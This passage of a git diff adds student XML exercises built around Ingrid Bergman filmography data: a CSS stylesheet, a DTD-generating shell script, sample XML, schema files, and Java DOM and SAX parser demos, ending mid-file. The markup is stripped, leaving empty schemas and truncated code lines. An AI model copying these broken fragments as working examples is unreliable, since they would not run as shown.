devices for the KGB. Almost 60 years later, he is brought back to America for a touching reunion with his friends and colleagues. + + [Documentaire] + + + + [Documentaire] + + After having neglected her children for many years, world famous pianist Charlotte visits her daughter Eva in her home. To her surprise she finds her other daughter, Helena, there as well. Helena is mentally impaired, and Eva has taken Helena out of the institution where their mother had placed her. The tension between Charlotte and Eva only builds up slowly, until a nightly conversation releases all the things they have wanted to tell each other. + + + + [Documentaire] + + After solving a case, Hercule Poirot takes the Orient Express home. On board is Ratchett, a millionaire and his secretary Hector MacQueen and butler Beddoes. Also there is a Count and Countess, a Colonel, a bossy American woman, an Italian, a Princess and her nurse and Pierre, the conductor. The train gets stuck in the snow and during the night, Ratchett is murdered, stabbed many times. Poirot and Bianchi (the train's detective and friend) investigate and discover that Ratchett and the rest of the passengers are involved in the Daisy Armstrong case in which a child was taken for ransom and then horribly killed... + + Precocious Claudia and her brother run away from home and hide in the Metropolitan Museum in New York. + + Documentary about French (Turkish born) film historian Henri Langlois (1914-1977), co-founder of the Cinemathèque Française, which progressed from just 10 films in 1936 to 60,000 films in the early 70s. The film also deals with the manifestations of support for Langlois following 1968 French Minister of Culture André Malraux's failed attempt to replace him as head of the Cinemathèque. + + The Merediths move to an isolated farm. Mrs. Meredith and the neighbour Will Cade become friends and eventually lovers. + + [Documentaire] + + Toni Simmons believes that the only reason her married lover won't leave his wife is because of the children. In truth, her lover, dentist Julian Winston, doesn't have any children. In fact, Julian doesn't even have a wife - he just tells women he does to avoid getting involved. When Julian does decide to take the plunge with Toni she insists on meeting the first wife and Julian enlists the aid of his long-time nurse/receptionist Stephanie Dickinson to play the part. + + + + + + This insightful documentary features some of the major and most beautiful actresses to grace the silver screen. It shows how the movie industry changed it's depiction of sex and actresses portrayal of sex from the silent movie era to the present. Classic scenes are shown from the silent movie, True Heart Susie, starring Lillian Gish, to Love Me Tonight (1932), blending sex and sophistication, starring Jeanette MacDonald (pre-Nelson Eddy) and to Elizabeth Taylor in, A Place in the Sun (1951), plus much , much more. + + Three stories about the lives and loves of those who own a certain yellow Rolls-Royce: + + First purchased by the Marquess of Frinton for his wife as a belated anniversary present, the Marchiness finds her own use for the vehicle - one which prompts her husband to sell the car in disgust. + + Gangster Paolo Maltese's moll, Mae, thinks the Rolls is a classy car in which to tour Paolo's home town in Italy. When Paolo is called away to the States to finish some business, a bored Mae takes the Rolls on a spin through the country, enjoying both the sights and the handsome Italian photographer who crosses her path. + + By the outbreak of World War II, the car has come into the possession of socialite Gerda Millet. While on her way to visit Yugoslavian royalty, Gerda and the Rolls become (at first) unwitting and then (eventually) most willing participants in the Yugoslavian fight. + + + + Carla Zachanassian had a child by Serge Miller as a teenager. When Serge refused to marry her, she was driven out of town. By her own wit and cunning, she has returned as a multi-millionaire for a visit. The town lays out the red carpet expecting big things from Carla, only to learn that her sole purpose is to see Serge Miller killed... + + + + + + In this adaptation of Francoise Sagan's best selling novel, Paula is a beautiful, 40-year old, highly successful businesswoman. She is deeply in love with Roger, her mature consort of five years. Roger is a very charming gallant who loves Paula but is too selfish to give up his freedom to be promiscuous. When Paula meets Phillip, the 24-year old, immature, lawyer son of one of her rich clients, he falls hopelessly in love with the glamorous, sympathetic older woman and insists that the age difference will be no barrier to a romance. Paula resists the young man's persistent advances, but finally succumbs when Roger initiates yet another affair with one of his young Maisies. An affair begins, and society does not approve. + + + + + + All her life Englishwoman Gladys Aylward knew that China was the place where she belonged. Not qualified to be sent there as a missionary, Gladys works as a domestic to earn the money to send herself to a poor, remote village. There she eventually lives a full and happy life: running the inn, acting as foot inspector, advising the local Mandarin and even winning the heart of mixed race Captain Lin Nan. But Gladys discovers her real destiny when the country is invaded by Japan and the Chinese children need her to save their lives. Based on a true story. + + Anna Kaplan is a accomplished actress who has given up hope at finding the man of her dreams. She is in the middle of taking off her face cream (one of the best scenes), while talking about this subject with her sister, when in walks Philip Adams. She loses her concentration for a moment as she realizes that this is the charming, smart, and handsome man she has been waiting for. The plot thickens as they begin a love at first sight relationship and she finds out that he has been keeping a secret from her. When she learns of his lie, she becomes furious and works out a plan for revenge. + + Russian exiles in Paris plot to collect ten million pounds from the Bank of England by grooming a destitute, suicidal girl to pose as heir to the Russian throne. While Bounin is coaching her he comes to believe she is really Anastasia. In the end the Empress must decide her claim. + + Polnish countess Elena falls in love to a Frensh radical party's candidate, a general, in pre world war I Paris, but another officer pines for her. + + + + + + Five portraits of actresses in their common life, seen as women rather than movie stars. + + Catherine and Alexander, wealthy and sophisticated, drive to Naples to dispose of a deceased uncle's villa. There's a coolness in their relationship and aspects of Naples add to the strain. She remembers a poet who loved her and died in the war; although she didn't love him, the memory underscores romance's absence from her life now. She tours the museums of Naples and Pompeii, immersing herself in the Neapolitan fascination with the dead and noticing how many women are pregnant; he idles on Capri, flirting with women but drawing back from adultery. With her, he's sarcastic; with him, she's critical. They talk of divorce. Will this foreign couple find insight and direction in Italy? + + + + Karen, a young woman from the baltic countries, marries fisherman Antonio to escape from a prisoners camp. But the life in Antonio's village, Stromboli, threatened by the vulcano, is a tough one and Karen can not get used to it. + + In 1831, Irishman Charles Adare travels to Australia to start a new life with the help of his cousin who has just been appointed governor. When he arrives he meets powerful landowner and ex-convict Sam Flusky, who wants to do a business deal with him. Whilst attending a dinner party at Flusky's house, Charles meets Flusky's wife Henrietta who he had known as a child back in Ireland. Henrietta is an alcoholic and seems to be on the verge of madness. + + + + In winter of 1938, Paris is crowded with refugees from the Nazis, who live in the black shadows of night, trying to evade deportation. One such is Dr. Ravic, who practices medicine illegally and stalks his old Nazi enemy Haake with murder in mind. One rainy night, Ravic meets Joan Madou, a kept woman cast adrift by her lover's sudden death. Against Ravic's better judgement, they become involved in a doomed affair; matters come to a crisis on the day war is declared. + + Alicia Huberman is a frivolous girl who loves drinks and men; her father was a German spy in USA and he has committed suicide in prison. Government agent Devlin asks the girl to spy on a group of her father's Nazi friends in Rio de Janeiro; this could be her chance to clean her guilty name. The girl falls in love with the agent, but he seems not to be attracted by the life she is living. Alicia accepts the duty and she goes to Brazil with Devlin. The agent suggests Alicia should marry the spy and gain free access into his house, so she does. During a party, Alicia and Devlin find some uranium dust hidden in Sebastian's canteen, but now he has discovered Alicia is a spy and he starts poisoning her day after day. + + On the death of her mother, the vivacious Clio Dulaine returns from Paris to her childhood home in New Orleans to seek revenge for the humiliation her mother suffered there from her father's wife's family. She also plans to marry a rich man to attain the status and respectability her mother never had, but falls for Texas gambler Clint Maroon instead. When he leaves New Orleans for the horse racing season at Saratoga Springs, she follows him there to seek her fortune --- or someone else's. + + Father O'Malley the unconventional priest from 'Going My Way' continues his work for the Catholic Church. This time he is sent to St. Mary's, a run-down parochial school on the verge of condemnation. He and Sister Benedict work together in an attempt to save the school, though their differing methods often lead to good-natured disagreements. + + The head of the Green Manors mental asylum Dr. Murchison is retiring to be replaced by Dr. Edwards, a famous psychiatrist. Edwards arrives and is immediately attracted to the beautiful but cold Dr. Constance Petersen. However, it soon becomes apparent that Dr. Edwards is in fact a paranoid amnesiac imposter. He goes on the run with Constance who tries to help his condition and solve the mystery of what happened to the real Dr. Edwards. + + Paula's aunt Alice Alquist, a famous entertainer, is murdered in her home. Paula, who lives with her aunt finds the body. Police fail to find the killer and Paula is sent away to school. Ten years later, Paula returns to London with her new husband. They take up residence in her aunt's house, which she has inherited. Paula is increasingly isolated by her husband but does come to the attention of an admirerer of her aunt, Mr. Brian Cameron. + + [Documentaire] + + Spain in the 1930s is the place to be for a man of action like Robert Jordan. There is a civil war going on and Jordan who has joined up on the side that appeals most to idealists of that era --- like Ernest Hemingway and his friends --- has been given a high-risk assignment up in the mountains. He awaits the right time to blow up a bridge in a cave. Pilar, who is in charge there, has an ability to foretell the future. And so that night she encourages Maria, a young girl ravaged by enemy soldiers, to join Jordan who has decided to spend the night under the stars. + + In World War II Casablanca, Rick Blaine, exiled American and former freedom fighter, runs the most popular nightspot in town. The cynical lone wolf Blaine comes into the possession of two valuable letters of transit. When Nazi Major Strasser arrives in Casablanca, the sycophantic police Captain Renault does what he can to please him, including detaining Czech underground leader Victor Laszlo. Much to Rick's surprise, Lazslo arrives with Ilsa, Rick's one time love. Rick is very bitter towards Ilsa, who ran out on him in Paris, but when he learns she had good reason to, they plan to run off together again using the letters of transit. Well, that was their original plan... + + Emilie has been hired to care for the four sons of wealthy Adam Stoppard and his wife, Molly. After Molly dies, Adam and the boys grow to depend on Emilie even more. At the same time, Emilie falls in love with Adam. The boys grow up, but Adam insists that Emilie stay on as part of the family. Her relationships with both the boys and Adam become strained after one son marries a gold-digging viper named Hester. + + Dr. Jekyll believes good and evil exist in everyone. Experiments reveal his evil side, named Hyde. Experience teaches him how evil Hyde can be: he kills Ivy who earlier expressed interest in Jekyll and Sir Charles, Jekyll's faincee's father. + + Old friends Ward and Phillip both become smitten with Phillip's mother's attractive young secretary Stella. But Stella marries Phillip and stands by him as his behavior becomes more and more erratic and his jealousy of Ward increases. + + Young Karin Nordbäck lives in a small town. She has a relationship with a sailor, but when she tries to leave him, he shoots her. She survives and begins a new life in Stockholm. There she meets kind people and new friends but the newspapers find her and start to write about her. + + A concert violinist becomes charmed with his daughter's talented piano teacher. When he invites her to go on tour with him, they make beautiful music away from the concert hall as well. He soon leaves his wife so the two can go off to Italy together. + + Funfair worker Valdemar is without his knowledge the illegitimate son of a rich landowner, colonel von Brede. The colonel knows and employs Valdemar as his stable master. The colonel has a young and beautiful ward, Eva, but will she and Valdemar fall in love with each other? + + When she was a child, Anna Holm, burned her face. This destroyed her looks, and she has become a mean and bitter woman. She and her 'friends' are black-mailers. One of the victims pay her by letting a plastic surgeon, doctor Wegert, make her beautiful again. Anna becomes a new person and leaves the others. She becomes a governess for a young boy, who will inherit a fortune. The boy has an evil uncle, who wants to see the boy dead, so that he will inherit the fortune. He hires Anna's former colleagues as assassins. + + + + Ludvig and Sussi Battwyhl, Louis and Katja Brenner and Julia and Kurt Balzar are upper class millionaires. They don't seem to do any real work but still need a vacation in the mountains. Everybody seems to be romantically involved with everybody. A rich American woman joins them. + + The world famous violinist Holger Brandt comes back to his family after a tour. He and his wife have been married for many years, but their love has faded. Their young daughter gets a new piano teacher, Anita Hoffman. Mr. Brandt fall in love with her and together they go on a world tour. But he soon discovers that the feelings for his wife that he thought were dead return. + + Eva Bergh works as a bank clerk, but dreams of becoming an artist. At a party she meets the rich Harald Ribe and he instantly falls in love with her. When he proposes to marry her she has no work or place to live and she accepts. At Harald's estate she can live comfortably, but she misses her old friends. + + Lena Bergstroem works in an office and is unhappily in love with her boss, Johan Borg. She decides to quit. Borg's wife won't have any children, and when she becomes pregnant she has an illegal abortion. For some reason, Lena's father believes that it is Lena who has had an abortion. + + The Swedenhielm's is an old aristocratic family. The head of the family is professor Rolf Swedenhielm. His three children Bo, Julia and Rolf jr also live in the house. They also have an excellent house maid, Boman. Because of the family's extravagance, they are heading for bankruptcy. But perhaps their problems would be solved if Rolf was awarded the Nobel Prize? + + Daniel has been forced by his father to become a priest. After graduating, he comes to a parish in Haelsingland. During one stormy night, he seduces a young girl, Karin, and rapes her. Filled with regret, he runs out into the dark night and is struck by lightning. He loses his memory and is taken to a distant hospital to recover. Meanwhile Karin gets pregnant and has a child. Eventually Daniel comes back and when he meets Karin his memory returns. + + In one of the narrow streets of the Old town of Stockholm lies hotel City. It's filled by mysterious characters such as 'Greven', 'Blomman' and others. The police inspector Goeransson is chasing a jewel thief, 'Diamant-Lasse'. + + + + + + Lost Films of Orson Welles, The + + 7th American Film Institute Life Achievement Award: A Salute to Alfred Hitchcock, The + + Autumn Sonata + + Herbstsonate + + Sonate d'automne + + Nina + + 3rd American Film Institute Life Achievement Award: A Salute to Orson Welles + + Hideaways, The + + Langlois + + Love Goddesses: A History of Sex in the Cinema, The + + Besuch, Der + + Rancune, La + + Vendetta della signora, La + + Kolka, My Friend + + Aimez-vous Brahms? + + Elena and Her Men + + Eliana e gli uomini + + Paris Does Strange Things + + Joan at the Stake + + Joan of Arc at the Stake + + Angst + + Fear + + Incubo + + Non credo più all'amore + + Of Life and Love + + We, the Women + + Amour est le plus fort, L' + + Journey to Italy + + Lonely Woman, The + + Strangers + + Voyage en Italie + + Voyage in Italy + + Voyage to Italy + + Greatest Love, The + + No Greater Love + + Stromboli, terra di Dio + + Alfred Hitchcock's Notorious + + Alfred Hitchcock's Spellbound + + Murder in Thornton Square + + Ingrid Bergman Answers + + Legacy + + June Night + + Night in June, A + + Escape to Happiness + + Intermezzo: A Love Story + + One Single Night + + Only One Night + + Woman's Face, A + + Four Companions, The + + Interlude + + Intermezzo + + On the Sunny Side + + Walpurgis Night + + Swedenhielms Family + + Ocean Breakers + + Surf, The + + Count of the Old Monk's Bridge, The + + Count of the Old Town, The + + + + Ingrid Bergman + + + + + + +

Ingrid Bergman was born in Stockholm, Sweden on August 29, 1915. The actress who would be one of the top draws of Hollywood in the 1940's had decided to become an actress after finishing her formal schooling. She had had a taste of acting when she was 17 when she played an uncredited role of a girl standing in line in the Swedish film + Landskamp + + (1932) in 1932. Not much of a beginning for a girl who would be known as + Sweden's illustrious gift to Hollywood. + + Her parents had died when she was just a girl and the uncle she lived with didn't want to stand in the way of Ingrid's dream.

+ +

The next year she enrolled in the Swedish Royal Theatre but decided that stage acting was not for her. It would be three more years before she would have another chance at a film. When she did, it was more than just a bit part. The film in question was + Munkbrogreven + + (1935) in 1935 where she had a speaking part as Elsa Edlund. After several films that year which would establish her as a class actress, Ingrid appeared in 1936's + Intermezzo + + (1936/I) as Anita Hoffman.

+ +

Lucky for her, movie mogul David O. Selzick saw it and sent a representative from MGM to gain rights to the story and have the beautiful Miss Bergman signed to a contract. Once signed, Ingrid came to California and starred in the remake of + Intermezzo + + (1939) in 1939 reprising her original role. The film was a hit and so was Ingrid. Her beauty was unlike anything the movie industry had seen before and her acting was superb. Hollywood was about to find out that they had the most versatile actress the industry had ever seen. Here was a woman who truly cared about the craft she represented. The public fell in love with her.

+ +

Ingrid was under contract to go back to Sweden to film + En enda natt + + (1939) in 1939 and + Juninatten + + (1940) in 1940. Back in the US, Ingrid appeared in three films with all being well-received. She made only one film in 1942 opposite the great Humphrey Bogart in the now classic + Casablanca + + (1942). Ingrid was choosing her roles well. In 1943 she was nominated for an Academy Award for her role in + For Whom the Bell Tolls + + (1943), the only film she made that year. The critics and movie public didn't forget her when she made + Gaslight + + (1944) the following year. For her role of Paula Alquist she won the Oscar for Best Actress.

+ +

In 1945, Ingrid played in + Spellbound + + (1945), + Saratoga Trunk + + (1945), and + Bells of St. Mary's, The + + (1945). Once again she received her third Oscar nomination for her role of Sister Benedict. With no appearances in 1947, she bounced back with her fourth nomination in + Joan of Arc + + .

+ +

In 1949, Ingrid went ot Italy to film + Stromboli + + (1949) which was directed by Roberto Rossellini. She fell in love with him and left her husband, Dr. Peter Lindstrom and daughter Pia. The public was indignant and the Hollywood set appalled. She was pregnant and decided to remain in Italy where she bore a son. In 1952, Ingrid had twins Isotta and Isabella, who is an outstanding actress in her own right as is Pia.

+ +

She continued to make films in Italy and finally returned to the Hollywood scene in 1956 in the title role in + Anastasia + + (1956) which was filmed in England. For this she won her second Academy Award. She had scarcely missed a beat. Ingrid continued to bounce between Europe and the US making movies, and fine ones at that. A film with Ingrid Bergman was sure to be a quality production.

+ +

In her final big screen performance in 1978's + Höstsonaten + + (1978) she had her final Academy Award nomination. Though she didn't win, it was felt she had made the most sterling performance for her entire career. Ingrid retired but not before she gave an outstanding TV performance in the mini-series + Woman Called Golda, A + + (1982) (TV), a film about the Israeli prime minister, Golda Meir. For this she won an Emmy Award as Best Actress, but, unfortunately, she didn't live to see the fruits of her labor. Ingrid had died on her birthday, from cancer, on August 29, 1982 in London, England. She was 67.

+
+ + + Lars Schmidt + + Roberto Rossellini + + Dr. Petter Lindström + + + + Mother of Isabella Rossellini, Isotta Rossellini and Pia Lindström. + + In 1933 she enrolled in the Royal Theatre of Dramatic Art but later changed to films instead. + + Married Lars Schmidt in Caxton Hall next to Westminster Abbey, London, UK. + + Folksinger Woody Guthrie wrote a song in praise of her, titled "Ingrid Bergman, " but died before he had a chance to record it. The song can now be heard on Billy Bragg's "Mermaid Avenue" CD. + + Ashes scattered at sea off the coast of Sweden. + + Chosen by Empire magazine as one of the 100 Sexiest Stars in film history (#30). + + + + The best way to keep young is to keep going in whatever it is that keeps you going. With me that's work, and a lot of it. And when a job is finished, relax and have fun. + + I've gone from saint to whore and back to saint again, all in one lifetime. + + The minute I looked at her, I knew I had something. She had an extraordinary quality of purity and nobility and a definite star personality that is very rare. + + People didn't expect me to have emotion like other women. + + I've never sought success in order to get fame and money; it's the talent and the passion that count in success. + + I remember one day sitting at the pool and suddenly the tears were streaming down my cheeks. Why was I so unhappy? I had success. I had security. But it wasn't enough. I was exploding inside. + + I have no regrets. I wouldn't have lived my life the way I did if I was going to worry about what people were going to say. + + If a face like Ingrid Bergman's looks at you as though you're adorable, everybody does. You don't have to act very much. + + Until 45 I can play a woman in love. After 55 I can play grandmothers. But between those ten years, it is difficult for an actress. + + I don't regret a thing I've done. I only regret the things I didn't do. + + Oh, but she's a woman's woman. I mean, she is everything a woman should be. She's the kind of woman men aren't afraid of because she's so warm. She has a real quality. It's too bad she isn't queen of some country. + +
+ + + Orson Welles: The One-Man Band + + First 100 Years: A Celebration of American Movies, The + + Theremin: An Electronic Odyssey + + Ingrid + + Woman Called Golda, A + + Salute to Alfred Hitchcock, A + + Höstsonaten + + Matter of Time, A + + Salute to Orson Welles, A + + Murder on the Orient Express + + From the Mixed-Up Files of Mrs. Basil E. Frankweiler + + Henri Langlois + + Walk in the Spring Rain + + Hollywood: The Selznick Years + + Cactus Flower + + Human Voice, The + + Stimulantia + + Love Goddesses, The + + Yellow Rolls-Royce, The + + Visit, The + + Hedda Gabler + + Auguste + + Goodbye Again + + Twenty-Four Hours in a Woman's Life + + Turn of the Screw, The + + Inn of the Sixth Happiness, The + + Indiscreet + + Anastasia + + Elena et les hommes + + Giovanna d'Arco al rogo + + Paura, La + + Siamo donne + + Viaggio in Italia + + Europa '51 + + Stromboli + + Under Capricorn + + Joan of Arc + + Arch of Triumph + + Notorious + + Saratoga Trunk + + Bells of St. Mary's, The + + Spellbound + + Gaslight + + Swedes in America + + For Whom the Bell Tolls + + Casablanca + + Adam Had Four Sons + + Dr. Jekyll and Mr. Hyde + + Rage in Heaven + + Juninatten + + Intermezzo (remake) + + En enda natt + + Kvinnas ansikte, En + + Vier Gesellen, Die + + Dollar + + Intermezzo + + På solsidan + + Valborgsmässoafton + + Swedenhielms + + Bränningar + + Munkbrogreven + + Landskamp + +
+ diff --git a/XML/TP1/film.css b/XML/TP1/film.css new file mode 100755 index 0000000..dad2cae --- /dev/null +++ b/XML/TP1/film.css @@ -0,0 +1,140 @@ +filmographie, resumes, aliases, perso, roles, resume, p { + display: block; + text-align: justify; +} + +resumes:before { + content: "Résumé"; +} + +aliases:before { + content: "Autres titres"; +} + +roles:before { + content: "Roles"; +} + +resumes:before, aliases:before, roles:before, nom { + font-size: 26pt; + text-align: center; + margin-bottom: 10pt; + display: block; +} + +resume:before { + content: attr(realisateur) " : "; + font-weight: bold; +} + +role:before { + content: attr(date) " - " attr(personnage) " : "; + font-weight: bold; +} + +alias:before { + content: attr(date) " : " attr(pays); + font-weight: bold; + display: block; + list-style-position: inside; +} + +naissance:before { + content: "Birth: " attr(jour) " " attr(mois) " " attr(annee); +} + +mort:before { + content: "Death: " attr(jour) " " attr(mois) " " attr(annee); +} + +mort { + margin-bottom: 40pt; +} + +naissance, mort { + display: block; + text-align: center; + font-size: larger; +} + +biographie, infos, citations, mariages { + display:block; + margin-left: 15pt; +} + +biographie:before, infos:before, citations:before, mariages:before { + font-weight: bold; + margin-left: -15pt; + display: block; +} + +biographie:before { + content: "Biographie: "; +} + +infos:before { + content: "Informations: "; +} + +citations:before { + content: "Citations: "; +} + +mariages:before { + content: "Mariages: "; +} + +mariage:before { + content: attr(debut) " - " attr(fin) " : "; + font-weight: bold; +} + +mariage:after { + content: " (" attr(conclusion) ")"; +} + +mariage { + display: block; +} + + +alias, resume { + display: block; + text-indent: -15pt; + margin-left: 15pt; +} + +role, citations citation, info { + display: list-item; + list-style-position: inside; +} + +citation { + font-style: italic; +} + +citation:before, citation:after { + content: "\""; +} + +nom { + font-variant: small-caps; +} + +p, resume, alias, biographie, infos, citations, mariages { + margin-bottom: 5pt; +} + +i { + font-style: italic; +} + +filmographie { + padding: 5pt; +} + +resumes, aliases, roles, perso { + padding: 5pt; + margin: 20pt; +} + diff --git a/XML/TP1/film.dtd b/XML/TP1/film.dtd new file mode 100755 index 0000000..f93cc64 --- /dev/null +++ b/XML/TP1/film.dtd @@ -0,0 +1,30 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/XML/TP1/gen.sh b/XML/TP1/gen.sh new file mode 100755 index 0000000..01a14b4 --- /dev/null +++ b/XML/TP1/gen.sh @@ -0,0 +1,6 @@ +for i in filmographie resumes resume aliases alias perso nom naissance mort biblio p mariages mariage infos info citations citation roles role; do echo '"; done > film.dtd + +xmllint --valid --noout minibergman.xml 2>&1 |grep minibergman.xml |sed -r 's/.*attribute ([^ ]+) of element ([^ ]+)/\1 \2/' |sort |uniq > listeAtts + +for i in $(awk '{print $2}' < listeAtts |sort |uniq) ; do echo -n '"; done >>film.dtd + diff --git a/XML/TP1/minibergman.xml b/XML/TP1/minibergman.xml new file mode 100755 index 0000000..c07e33d --- /dev/null +++ b/XML/TP1/minibergman.xml @@ -0,0 +1,59 @@ + + + + + + A documentary about the amazing life of Leon Theremin, inventor of the + theremin, the electronic musical instrument so beloved of 50s sci-fi movie music. Theremin amazed America with his instrument until his kidnapping by Soviet agents in the mid-30s. Upon his release from a labor camp, he worked on surveillance devices for the KGB. Almost 60 years later, he is brought back to America for a touching reunion with his friends and colleagues. + + After having neglected her children for many years, world famous pianist Charlotte visits her daughter Eva in her home. To her surprise she finds her other daughter, Helena, there as well. Helena is mentally impaired, and Eva has taken Helena out of the institution where their mother had placed her. The tension between Charlotte and Eva only builds up slowly, until a nightly conversation releases all the things they have wanted to tell each other. + + + + Autumn Sonata + + Herbstsonate + + Sonate d'automne + + + + Ingrid Bergman + + + + + + +

Ingrid Bergman was born in Stockholm, Sweden on August 29, 1915. The actress who would be one of the top draws of Hollywood in the 1940's had decided to become an actress after finishing her formal schooling. She had had a taste of acting when she was 17 when she played an uncredited role of a girl standing in line in the Swedish film + Landskamp (1932) in 1932. Not much of a beginning for a girl who would be known as Her parents had died when she was just a girl and the uncle she lived with didn't want to stand in the way of Ingrid's dream.

+
+ + + Lars Schmidt + + Roberto Rossellini + + Dr. Petter Lindström + + + + Mother of Isabella Rossellini, Isotta Rossellini and Pia Lindström. + + In 1933 she enrolled in the Royal Theatre of Dramatic Art but later changed to films instead. + + + + The best way to keep young is to keep going in whatever it is that keeps you going. With me that's work, and a lot of it. And when a job is finished, relax and have fun. + + I've gone from saint to whore and back to saint again, all in one lifetime. + +
+ + + Theremin: An Electronic Odyssey + + Höstsonaten + +
+ diff --git a/XML/TP2/bib1.xml b/XML/TP2/bib1.xml new file mode 100755 index 0000000..041976c --- /dev/null +++ b/XML/TP2/bib1.xml @@ -0,0 +1,45 @@ + + + + + + Mon chien, mon routeur Wifi et Moi + Nicolas MASSE + + O'Reilly + USA + Evreux + 012345678X + + Très bien, c'est moi qui l'ai écrit ! + + +
+ Les schtroumpfs à la mer + Peyo + + 145 à 234 + 2006 + 23 + + Très bien (la schtroumpfette est en bikini) +
+ + + Influence des technologies XML sur la reproduction des bactéries sous les aiselles des pingouins + W3C + + + + + + Les éditions désorganisées du Parti + ex U.R.S.S. + Zimbabwe + 1111111111 + + +
+ diff --git a/XML/TP2/biblio.dtd b/XML/TP2/biblio.dtd new file mode 100755 index 0000000..9d11c5d --- /dev/null +++ b/XML/TP2/biblio.dtd @@ -0,0 +1,21 @@ + + + + + + + + + + + + + + + + + + + + + diff --git a/XML/TP2/biblio.xsd b/XML/TP2/biblio.xsd new file mode 100755 index 0000000..85e9d60 --- /dev/null +++ b/XML/TP2/biblio.xsd @@ -0,0 +1,96 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/XML/TP3/DOMParserDemo.java b/XML/TP3/DOMParserDemo.java new file mode 100755 index 0000000..241f9c0 --- /dev/null +++ b/XML/TP3/DOMParserDemo.java @@ -0,0 +1,158 @@ +// DomParserDemo.java +// Modifie un arbre DOM + +import javax.xml.parsers.DocumentBuilder; +import javax.xml.parsers.DocumentBuilderFactory; +import javax.xml.parsers.FactoryConfigurationError; +import javax.xml.parsers.ParserConfigurationException; + +import org.xml.sax.SAXException; +import org.xml.sax.SAXParseException; + +import java.io.File; +import java.io.IOException; + +import org.w3c.dom.Document; +import org.w3c.dom.Element; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; +import org.w3c.dom.DOMException; +import org.w3c.dom.NamedNodeMap; + +import java.util.*; + +public class DOMParserDemo { + public void performDemo(String uri) { + DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); + try { + DocumentBuilder builder = factory.newDocumentBuilder(); + Document doc = builder.parse(new File(uri)); + + doc = transform(doc); + printNode(doc); + } catch (Throwable t) { + t.printStackTrace (); + System.exit (1); + } + + System.exit (0); + } + + public Document transform(Document doc) { + Element root = doc.getDocumentElement(); + NodeList rnl = root.getChildNodes(); + + // + Node ge = null; + Node me = null; + Node de = null; + + int s = rnl.getLength(); + for (int i = 0; i < s; i++) { + Node n = rnl.item(i); + if (n instanceof Element) { + String name = n.getNodeName(); + if ("groupes".equals(name)) { + ge = n; + } else if ("musiciens".equals(name)) { + me = n; + } else if ("disques".equals(name)) { + de = n; + } + } + } + + Map groups = new HashMap(); + Map groups2 = new HashMap(); + + NodeList groupList = ge.getChildNodes(); + s = groupList.getLength(); + for (int i = 0; i < s; i++) { + Node element = groupList.item(i); + if (element instanceof Element) { + NamedNodeMap att = element.getAttributes(); + Node tmp = me.cloneNode(false); + element.appendChild(tmp); + groups.put(att.getNamedItem("id").getNodeValue(), tmp); + tmp = de.cloneNode(false); + element.appendChild(tmp); + groups2.put(att.getNamedItem("id").getNodeValue(), tmp); + } + } + + NodeList musicienList = me.getChildNodes(); + s = musicienList.getLength(); + for (int i = 0; i < s; i++) { + Node element = musicienList.item(i); + if (element instanceof Element) { + NamedNodeMap att = element.getAttributes(); + String attVal = att.getNamedItem("groupe").getNodeValue(); + ((Node) groups.get(attVal)).appendChild(element); + } + } + + NodeList disqueList = de.getChildNodes(); + s = disqueList.getLength(); + for (int i = 0; i < s; i++) { + Node element = disqueList.item(i); + if (element instanceof Element) { + NamedNodeMap att = element.getAttributes(); + String attVal = att.getNamedItem("groupe").getNodeValue(); + ((Node) groups2.get(attVal)).appendChild(element); + } + } + + root.removeChild(de); + root.removeChild(me); + + return doc; + } + + public void p(Object o) { + System.out.println(o); + } + + public void printNode(Node node) { + switch (node.getNodeType()) { + case Node.DOCUMENT_NODE: + Document doc = (Document) node; + System.out.println(""); + printNode(doc.getDocumentElement()); + break; + case Node.ELEMENT_NODE: + System.out.print("<"+node.getNodeName()); + NamedNodeMap attributs = node.getAttributes(); + for (int i=0; i"); + NodeList children = node.getChildNodes(); + if (children != null) { + for (int i=0; i"); + break; + + case Node.TEXT_NODE: + System.out.print(node.getNodeValue()); + break; + } + } + + public static void main(String[] argv) { + if (argv.length != 1) { + System.err.println ("Usage: cmd filename > sortie"); + System.exit (1); + } + + String uri = argv[0]; + //System.out.println("En train de traiter fichier "+uri); + DOMParserDemo parserDemo = new DOMParserDemo(); + parserDemo.performDemo(uri); + } +} + diff --git a/XML/TP3/SAXParserDemo.java b/XML/TP3/SAXParserDemo.java new file mode 100755 index 0000000..7e704a8 --- /dev/null +++ b/XML/TP3/SAXParserDemo.java @@ -0,0 +1,202 @@ +// SAXParserDemo.java +// +// Parse avec l'Api SAX un document XML +// Transformation XML --> HTML +// +traitement des attributs +// Document pour l'ENSICAEN + +import java.io.*; +import org.xml.sax.*; +import org.xml.sax.helpers.DefaultHandler; +import javax.xml.parsers.SAXParserFactory; +import javax.xml.parsers.SAXParser; + +public class SAXParserDemo extends DefaultHandler { + + private StringBuffer str; + + private String anneeDisque = null; + + public static void main (String argv[]) + throws IOException { + if (argv.length != 1) { + System.err.println + ("Usage: SAXParserDemo fichierSource > fichierCible"); + System.exit (1); + } + + DefaultHandler handler = new SAXParserDemo(); + SAXParserFactory factory = SAXParserFactory.newInstance(); + try { + SAXParser saxParser = factory.newSAXParser(); + saxParser.parse( new File(argv[0]), handler ); + } catch (Throwable t) { + t.printStackTrace (); + System.exit (2); + } + System.exit (0); + } + + + public SAXParserDemo() { + this.str = new StringBuffer(); + } + + public void error(SAXParseException e) + throws SAXParseException { + throw e; + } + + + public void startDocument () + throws SAXException { + this.cat("\n"); + this.cat("\n"); + this.cat("\n"); + this.cat("\n"); + this.cat("Conversions XML -> XHTML\n"); + this.cat("\n"); + this.cat("\n"); + this.cat("\n"); + } + + public void endDocument () + throws SAXException { + this.cat(""); + this.cat(""); + System.out.println(this.str.toString()); + } + + public void startElement (String namespaceURI, + String simpleName, + String qualifiedName, + Attributes attrs) + throws SAXException { + + String name = null; + + // System.err.println("namespaceURI: " + namespaceURI + ", simpleName: " + ", qualifiedName: " + qualifiedName); + + + if (namespaceURI.length() == 0) { + name = qualifiedName; + } else { + name = simpleName; + } + + + if ("groupes".equals(name)) { + this.cat("\n"); + } + + if ("groupe".equals(name)) { + String img = "img_disco/" + attrs.getValue("img"); + String url = attrs.getValue("url"); + this.cat(""); + } + + if ("musiciens".equals(name)) { + this.cat("
